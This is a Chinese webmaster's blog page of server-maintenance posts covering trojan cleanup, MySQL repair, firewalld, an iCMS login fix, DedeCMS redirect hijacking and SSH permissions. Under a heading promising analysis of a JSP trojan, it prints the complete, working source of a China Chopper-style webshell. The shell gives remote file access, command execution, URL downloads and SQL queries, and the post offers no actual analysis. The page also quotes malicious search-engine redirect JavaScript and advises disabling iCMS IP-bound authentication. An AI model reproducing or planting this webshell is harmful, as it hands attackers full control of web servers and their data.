终于搞定病毒了,真可恨

有2台服务器中毒了,七八个站被种木马病毒,,

这大概得一个月前的事情了,然后花了2天时间清除,,因为还有正常工作,所谓的两天就是加班加点了。

消除了大半,还有三个站没清除干净,就放下了,,每天早晨起来和睡前就是清除一遍的工作。

前天终于忍不了了,挨个目录检查,挨个删,补权限

昨天发现还有2个站有问题,又种上了,马了歌八字的,没完没了了,,,又加了一夜班,早晨起来没发现再有,世界终于清静了。

————–
其实最后这几个站本身没多少流量了,所以懒得管,拖延了这么久,不过就是看不过这种强盗,被侵犯了的感觉很不爽,必须清理干净。

讨论下:国家应该严查这种人,其实跟强盗无异,逮住后起步5年,没收全部财产,严重的得终身,看他们怎么嚣张起来。大家觉得这么处理行么?

如何修复mysql数据库

mysql数据库如果遇到下列情况可能会损坏,导致某一个或多个表被锁定,在phpmyadmin中显示: 使用中

1、 服务器突然断电导致数据文件损坏。
2、 强制关机,没有先关闭mysql 服务。
3、 mysqld 进程在写表时被杀掉。
4、 使用myisamchk 的同时,mysqld 也在操作表。
5、 磁盘故障。
6、 服务器死机。
7、 mysql 本身的bug 。

不管如何我们都要进行修复,当然一切开始之前需要先备份数据库,以防万一。一般情况下我们可以使用phpmyadmin中的修复功能来修复。

如果还是不行,我们就需要用myisamchk命令来修复,命令如下:

myisamchk -r -f ****.MYI

在我使用这个命令的过程中出现了两个问题,首先提示:myisamchk error unknown variable ‘read_buffer=2m’, 既然未知那就是不支持喽,所以我们在my.cnf中注释掉read_buffer=2m即可,还有write_buffer=2m也注释掉。

第二个问题是:myisamchk: error: 140 ,这个问题也很好解决,把上面的命令中表的后缀去掉即可。

myisamchk -r -f **** (表名字)

出现这些问题,不知道是不是我的mysql版本过高有关,虽然没有用到8,但也用到了7.3.9这个版本。比较旧的教程已经不适用了。

centos7开启防火墙的方法,firewalld替代iptables

CentOS升级到7之后,发现无法使用iptables控制Linuxs的端口,baidu之后发现Centos 7使用firewalld代替了原来的iptables。下面记录如何使用firewalld开放Linux端口:

开启端口


[root@centos7 ~]# firewall-cmd –zone=public –add-port=80/tcp –permanent

查询端口号80 是否开启:

[root@centos7 ~]# firewall-cmd –query-port=80/tcp

重启防火墙:

[root@centos7 ~]# firewall-cmd –reload

查询有哪些端口是开启的:

[root@centos7 ~]# firewall-cmd –list-port

命令含义:


–zone #作用域
–add-port=80/tcp #添加端口,格式为:端口/通讯协议
–permanent #永久生效,没有此参数重启后失效

关闭firewall:

systemctl stop firewalld.service #停止firewall

systemctl disable firewalld.service #禁止firewall开机启动

icms后台会自动退出的解决办法

网站后台用手机浏览器能登陆电脑浏览器不能,会自动退出。

问题描述:网站后台用手机浏览器能正常登陆 但是用电脑浏览器登陆输入正确的用户名和密码 验证码后 重新回到登陆界面 无法进入后台管理

原因:因为iCMS的cookie是加密过了,电脑浏览器可能存在被劫接现象后cookie值不正确,所以才会重新回到登陆界面

解决办法:把主目录下 config.php 下的define(‘iPHP_AUTH_IP’,true); 的true改成 false 就可以了

织梦系统网站被劫持安装跳转代码怎么办

最近很多的织梦网站被挂跳转代码。非常的可恶,这个代码在你平常浏览的情况下是没有问题的,但是百度抓取的话是博彩的网站,还可能跳转!
我去找了些方法供大家尝试100%可以删除掉的
一、首先,检测网页的index.html源码是否有异常。因为这个页面是最后生成的静态页,结果发现多了一段的js代码。

这个代码主要是用来做跳转的,打开源码,内容是:
var d=document.referrer;
if(d.indexOf(“baidu”)>0||d.indexOf(“google”)>0||d.indexOf(“sogou”)>0||d.indexOf(“bing”)>0||d.indexOf(“soso”)>0||d.indexOf(“youdao”)>0||d.indexOf(“zhongsou”)>0)
{window.location.href=”http://www.***.com/7y/1.asp”;}
他会判断是否来自搜索引擎,如果来自搜索引擎,则执行跳转命令。

二、第二步,查看模板的index.htm文件,看对应的模板文件是什么?
找到了一个黑客创建的织梦标签:{dede:dinfo/},很明显就是他。

三、第三步,打开织梦管理后台,标签源码管理,尝试查找dinfo相关的lib文件。
找到对应的标签文件,对他进行删除。

四、第四步,查看黑客怎么做到的,并进行防护。
(第一系统后台,用户组是否多了, 第二查看所有能添加变量 第三,模块管理中是否多了东西, 第四,频道模型,第五 自定义宏标记等等.大多数情况下是plus 或者模板里面的asp或php木马,数据库里面对应的木马数据不删除,就算你删除了木马文件照样会重新生成。common.inc.php 文件也要多多留意,一般情况下 如果修改模板后仍然被改首页 有必要重新覆盖下这个文件,)
五、如果有权限的话最好把FTP禁止上传文件。条件允许的话

京剧网中毒,jsp文件木马代码分析

<%@page import=”java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*”%>
<%!
String Pwd=”chopper”;
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes(“ISO-8859-1”),c);}
Connection GC(String s)throws Exception{String[] x=s.trim().split(“\r\n”);Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF=””;java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat(“yyyy-MM-dd HH:mm:ss”);for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);sQ=l[i].canRead()?”R”:””;sQ+=l[i].canWrite()?” W”:””;if(l[i].isDirectory()){sb.append(l[i].getName()+”/\t”+sT+”\t”+l[i].length()+”\t”+sQ+”\n”);}
else{sF+=l[i].getName()+”\t”+sT+”\t”+l[i].length()+”\t”+sQ+”\n”;}}sb.append(sF);}
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
for(int k=0; k<x.length; k++){if(!x[k].delete()){ EE(x[k].getPath());}}} f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write((“->”+”|”).getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write((“|”+”<-“).getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h=”0123456789ABCDEF”;int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){HH(s+”/”+z[j].getName(),d+”/”+z[j].getName());}
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat(“yyyy-MM-dd HH:mm:ss”);
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){sb.append(l+”\r\n”);}}
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)+”\t”);}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={“TABLE”};ResultSet r=c.getMetaData().getTables (null,null,”%”,t);
while(r.next()){sb.append(r.getString(“TABLE_NAME”)+”\t”);}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split(“\r\n”);Connection c=GC(s);
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery(“select * from “+x[3]);ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+” (“+d.getColumnTypeName(i)+”)\t”);}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+”\t|\t”);
}sb.append(“\r\n”);while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+”\t|\t”);}sb.append(“\r\n”);}r.close();}
catch(Exception e){sb.append(“Result\t|\t\r\n”);try{m.executeUpdate(q);sb.append(“Execute Successfully!\t|\t\r\n”);
}catch(Exception ee){sb.append(ee.toString()+”\t|\t\r\n”);}}m.close();c.close();}
%><%
String cs=request.getParameter(“z0″)+””;request.setCharacterEncoding(cs);response.setContentType(“text/html;charset=”+cs);
String Z=EC(request.getParameter(Pwd)+””,cs);String z1=EC(request.getParameter(“z1″)+””,cs);String z2=EC(request.getParameter(“z2″)+””,cs);
StringBuffer sb=new StringBuffer(“”);try{sb.append(“->”+”|”);
if(Z.equals(“A”)){String s=new File( application.getRealPath( request.getRequestURI())).getParent();sb.append(s+”\t”);if( !s.substring(0,1).equals(“/”)){ AA(sb);}}
else if(Z.equals(“B”)){BB(z1,sb);}else if(Z.equals(“C”)){String l=””;BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){sb.append(l+”\r\n”);}br.close();}
else if(Z.equals(“D”)){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append(“1”);}else if(Z.equals(“E”)){EE(z1);sb.append(“1”);}else if(Z.equals(“F”)){FF(z1,response);}
else if(Z.equals(“G”)){GG(z1,z2);sb.append(“1”);}else if(Z.equals(“H”)){HH(z1,z2);sb.append(“1”);}else if(Z.equals(“I”)){II(z1,z2);sb.append(“1”);}
else if(Z.equals(“J”)){JJ(z1);sb.append(“1”);}else if(Z.equals(“K”)){KK(z1,z2);sb.append(“1”);}else if(Z.equals(“L”)){LL(z1,z2);sb.append(“1”);}
else if(Z.equals(“M”)){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals(“N”)){NN(z1,sb);}else if(Z.equals(“O”)){OO(z1,sb);}
else if(Z.equals(“P”)){PP(z1,sb);}else if(Z.equals(“Q”)){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append(“ERROR”+”:// “+e.toString());}sb.append(“|”+”<-“);out.print(sb.toString());
%>

/var/empty/sshd must be owned by root and not group or world-writable.

在机器上直接登录,问题显示如下:

/var/empty/sshd must be owned by root and not group or world-writable.

问题:

Linux上的SSH无法启动

报告/var/empty/sshd must be owned by root and not group or world-writable.

解决办法:

首先通过物理终端进入到linux上,手工检查ssh发现没运行

-bash-2.05b# /etc/init.d/sshd status

sshd is stopped

手工启动服务,发现报告权限错误。

-bash-2.05b# /etc/init.d/sshd start

Starting sshd:/var/empty/sshd must be owned by root and not group or world-writable.

[FAILED]

-bash-2.05b#

使用rpm -V 命令可检查到ssh的软件包正常,但某个目录的属主错误。

-bash-2.05b# rpm -V openssh-server

S.5….. c /etc/ssh/sshd_config

…..U.. /var/empty/sshd

-bash-2.05b#

经查看发现这个目录的属主不是root,所以启动ssh报错

-bash-2.05b# ls -ld /var/empty/sshd/

d–x–x–x 2 vu00106 root 1024 Feb 2 2005 /var/empty/sshd/

-bash-2.05b#

修改为root属主,启动成功

-bash-2.05b# chown root /var/empty/sshd/

-bash-2.05b# /etc/init.d/sshd start

Starting sshd: [ OK ]

-bash-2.05b#

至此问题修复。

另外,还可以尝试:

这个是权限的问题

可采取以下两步解决

chown -R root.root /var/empty/sshd

chmod 744 /var/empty/sshd

service sshd restart

就可以解决上述的问题。

zh_CNChinese